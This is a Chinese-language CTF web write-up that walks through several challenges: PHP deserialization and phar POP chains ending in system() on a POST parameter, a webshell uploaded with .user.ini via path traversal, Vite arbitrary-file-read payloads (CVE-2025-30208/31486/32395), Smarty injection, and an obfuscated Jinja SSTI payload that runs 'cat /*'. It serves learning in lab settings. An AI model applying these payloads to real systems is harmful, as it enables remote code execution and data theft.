web

AAA偷渡阴平

y1s1,这题很阴间,因为过滤了中文的括号,导致我一开始以为用不了函数,直接寄了(。。。

但发现英文括号可以用就简单了,无参rce,payload如下图片

AAA偷渡阴平(复仇)

ban了无参rce?我相你个鬼,观察发现session没有被ban,继续无参rce,payload如下:图片

(ez)upload

dirsearch扫描得到源码。用脏数据绕过preg_match。然后用name传参实现路径穿越,依次上传木马和.user.ini。(注意要先上传木马,不然php报错就上传不了其他东西了,只能重启容器)图片

图片

查看环境变量得到flagweb5

什么文件上传?

dirsearch扫描得到robots.txt,访问后发现class.php,访问后发现是经典的反序列化,rce关键在于future类的to_string方法,观察发现没有可以控制的echo,关键来了,PHP 在属性访问失败时,会尝试将对象转为字符串(隐式调用 __toString)作为备用行为。因此构造链条如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
    highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
$a = new yesterday();
$b= new today();
$a->study=$b;
$c= new tommoraw();
$future= new future();
$b->doing = $future;
$data = best64_encode(serialize($a));
echo $data;```

然后rce即可.图片

什么文件上传?(复仇)

这题是我没接触过的知识点,标记一下(涉及phar反序列化)(phar反序列化+两道CTF例题_ctf phar-CSDN博客),附录下能够触发phar反序列化函数的函数:web7

看了大佬的wp尝试复现如下:

生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}


$phar = new Phar("exp4.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$a = new yesterday();
$b = new today();
$a->study = $b;
$c = new tommoraw();
$future = new future();
$b->doing = $future;
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

echo 'PHAR 文件已生成: ' . realpath('exp4.phar');
?>```

爆破发现后缀atg可用,改名为exp4.atg上传,然后在class.php通过phar访问触发反序列化,然后传参实现rce图片

前端game

vite任意文件读取漏洞,附下大佬的博客:Vite 任意文件读取漏洞分析复现 CVE-2025-30208_vite任意文件读取-CSDN博客

首先随手玩玩小游戏,得到了flag路径:图片

构造路由,得到结果:图片

前端GAME Plus

一样的vite漏洞,参考链接:复现与修复指南:Vite任意文件读取漏洞bypass(CVE-2025-31486)

payload:’http://127.0.0.1:55752/tgflagggg?.svg?.wasm?init

然后base64解码得到 flag

前端GAME Ultra

换汤不换药,依旧是vite的漏洞,参考链接:复现与修复指南:Vite再次bypass(CVE-2025-32395)

先得到绝对路径:图片

然后进行访问

payload:/@fs/app/#/../../../../../tgflagggg

注意,使用浏览器直接访问无用,应该使用bp

得到flag.

火眼辩魑魅

访问robots.txt,发现tginclude.php可以造成任意文件可读,用file伪协议可以将所有文件源码扒下来,审计发现tgxff.php采用smarty框架,存在模板注入,参考链接:***PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客***

图片

得到flag.

直面天命

F12,然后查看/hint,用bp爆破路由,得到/aazz,发现可以传参,用Arjun扫描,发现是filename传参进行任意文件可读,然后事实上直接用filename读取flag就可以得到结果了.图片

直面天命(复仇)

修复了之前的直接读取漏洞,老老实实ssti注入吧。

payload: 直面天命g['\u0070\u006f\u0070']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('so'[::-1])['\u0070\u006f\u0070\u0065\u006e']('cat /*')['\u0072\u0065\u0061\u0064']()难违

成功读取flag.图片